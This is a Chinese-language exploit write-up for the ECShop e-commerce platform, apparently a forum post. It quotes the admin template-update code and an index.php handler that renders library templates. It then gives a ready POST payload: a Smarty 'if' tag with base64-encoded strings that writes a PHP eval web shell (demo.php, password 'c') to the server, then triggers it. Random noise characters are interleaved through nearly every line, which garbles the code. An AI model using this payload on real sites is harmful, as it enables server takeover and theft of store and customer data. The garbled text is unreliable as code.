首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
2 x! B; t9 w" o% s
# ?; \9 k- A" B而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了$ c p! E. I0 S- y8 S
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
B1 w) n8 e" z! o8 Dadmin/template.php* A( R; d7 l- B' Y+ |: R' q
% u. L/ y4 x. B! K. p/ Y- @
1 if ($_REQUEST['act'] == 'update_library') 2 g1 ]0 p% g) w* y0 y
4 A! w. `6 e3 G9 b8 o2 8 }) p+ @" k! }- X/ S( F4 w
3 L, s- d: z7 q+ I! T
3 { # @! O, k; q5 r' Y
! [, T* |3 a/ z4 check_authz_json('library_manage'); ' H# F/ a- p4 x0 ]
: C. e7 \) E T
5 * z) }( Q! n( [
$ @- {5 k. y$ x L. e: B. V
6 $html = stripslashes(json_str_iconv($_POST['html'])); 8 R a5 Z* h( v; a
: Q) j( R4 t* `5 X5 X
7 * \/ C/ ]. B3 k3 Y8 S
# O: B9 }8 {7 X; u. P8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 + {. ^+ Y6 C& @1 K( N" }7 q
! f9 x% j4 x7 e5 l$ ]6 Z9
9 n( Y; `( M! q9 x, z8 x# n. j5 _; _! i% [
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 % i- h7 o! l' b p- k* s, W! b/ L
' N3 h3 E _! X1 `# [- l7 U; o
11 Z% v& S- n: P$ I, r9 d- [
9 }# g4 ~. U, p5 _" u0 O! O+ S12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
1 Z5 W' w4 m2 g4 z5 W+ I, R) v( e
: O `* G; E8 n; i L5 y9 i' i13
) j: Z8 d$ k. H4 q* f4 C
* E+ l" n, U, r4 B! u% B5 C14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 * U& P9 V% S- _# C' {1 C
( e$ {9 t) d' I+ b, b
15 { " o1 l) w! [$ R1 w r6 I" b
$ o' Q! Y$ j& m: C# F$ |
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
8 s- V4 x- f. @4 ^1 x! j' Q Z* _. i. ^0 |* f6 Z
17 make_json_result('', $_LANG['update_lib_success']);
! o" W& |! G+ Q0 C9 s1 B+ N9 @9 e& J& J* [* h
18 }
4 Z0 x4 B4 p/ s+ c$ N. L7 f' r" d0 h" y2 _( {' S( j
19 else
6 I5 s) h0 v1 N. ~! z; x
. h+ `/ n# U/ c w, o20 { 0 j& j9 ^& J2 m2 O8 ^
' K4 ?, K, b1 x21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ V# i% L8 \. d- ~' T# [; a: J9 |/ `) [9 g8 B4 D
22 }
/ H u* \: z: J' p7 \2 A8 B& H' g1 v) ~, R' o5 P; z
23 } ; a2 v# r$ `* o0 q {8 x& m
" k* k: n6 }+ |7 Y那么找个比较方便调用了模板的文件
9 }, ]( t/ t+ h3 Y4 Cindex.php
- w) c5 Q5 v& |5 S$ Y8 U; ^8 s
1 if ($act == 'cat_rec') % u5 ?" z$ f+ L+ e% w4 }
5 {" ]7 F/ |3 S( N
2
- e6 G G/ n# i6 c) q B) Y" b) s& c. A
3 { 4 g- N# T% t, v
+ D- R: z: D, y* v9 j6 ^' ~8 |
4 3 y) @0 h# `9 }+ \* a- C
2 f' h5 r% E4 b' ]5 U
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 1 o5 ?/ y, |. W" m( Y8 ~( x! ?
9 K- u" t- {, v, S& U4 `6 6 K$ z7 C" u; X- E/ `& G+ ?
# \' ~+ E! T0 d. ]% P
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- j d% R. u8 l% P2 A1 m/ i- i/ M) Q
. G- S4 X+ V. R# ~8
+ z/ n1 _3 p6 Q- a7 w& E* U+ p* m& N7 h8 I5 p& t2 o: v ?8 h
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ( K# N U7 B ?9 V
6 e3 S- W" S: o' t10
) _9 s$ C' k" c: A& _: v
" H& I& y1 S( N2 O- _$ Q$ \11 include_once('includes/cls_json.php'); / C; s3 s$ t% d9 O
8 V, v' x# m* X1 ~. V# w
12 8 x" L3 H9 u8 l) H9 d2 H
. i" x5 j' J. F13 $json = new JSON; , g3 u2 B3 a8 u! g. ?# e
- _2 c( |6 L7 _1 m
14
3 |! o1 E4 N9 c$ ~$ g% }$ S+ V! }5 O; q5 p
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 8 e* L. C( [+ O' k! p% M4 ~
3 }' d$ U7 h/ u+ c; t/ m' p2 y16
* H9 w0 ~9 T6 M8 j3 Y6 D ?7 W) l, [1 }
17 $children = get_children($cat_id);
7 Q3 x7 ?/ l& T0 z) j
; r, X3 I7 R4 u9 s5 U/ i18
v* } ]8 h7 R! q9 q/ S% O* f* b
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
, }6 ~: H, M+ }- R) l+ w% Z+ b5 t" G! e! g' B
20 ; z9 ]- C9 N( A" Q! I9 @
+ B! ~( G/ c5 Z1 b& a! r% A9 {21 $smarty->assign('cat_rec_sign', 1);
3 }- ]4 _$ W4 l! Y. x, c% ]& W' k) U8 I, J1 Y" z; F
22
8 x! E. E" |. v5 L4 V/ `1 x% k( L7 O! D
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 8 C c4 P1 m. Q6 x( N; w3 f5 a
& x8 |; K) u3 m9 ^ W: u G% ?
24
& P! J2 v) Y$ Y( ~2 y B, N7 [$ f
+ a; e/ Y' K, {8 J/ f6 D25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
! T! J4 Q, s$ H! |, t9 @# a1 _7 z) {+ |
26
! N! K, D: t1 r0 n6 H" @# [" B1 D- H! W) Y3 Z& D8 G/ t
27 echo $rec_array[$rec_type];
. i) B9 p1 v$ E# O3 j( \+ v' \3 W. t3 x1 X4 a/ v6 f
28
9 u& ]2 M& _6 u2 v; Y2 R% u
" @7 w( m. q. C. m9 ]# E$ C29 die($json->encode($result));
+ v/ G+ K; W; j" p
0 G* S& Z/ O: ]; ^" g0 t# Q3 N30 9 _1 C) P8 r1 ^; b; m2 |' n3 k
, x; G+ M) Y& `# R
31 } 3 Y3 W# y4 W: F" v% t, a$ }% w; A
% ?! U( _2 q9 z" }( z5 s那么就有利用方法了) B' f( N2 X) y4 b3 N9 g
post包到http://localhost/ec/admin/template.php?act=update_library; y$ Y# ]+ D1 g5 x4 l+ u
Post内容:
7 V/ O: ^' ?6 l& N5 Z, w4 G. N! {2 t4 a3 @6 p% V4 X
5 D! a+ p: `4 q1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ( q. f+ ^9 b) p9 `& I( Y0 e
" b/ x% C# L/ U! q6 ]2 O) H
然后访问http://localhost/ec/index.php?act=cat_rec% ^; b2 |, `$ X2 \
) I3 f5 z1 k+ \/ m/ A. V1 @
shel地址:http://localhost/ec/demo.php
& \; G+ I- `! A* J+ |/ j9 m9 P密码c5 Y q, M c; N1 i# Z* l
6 k4 R% H- ^$ F! I$ P, z- ^) K/ f0 d
|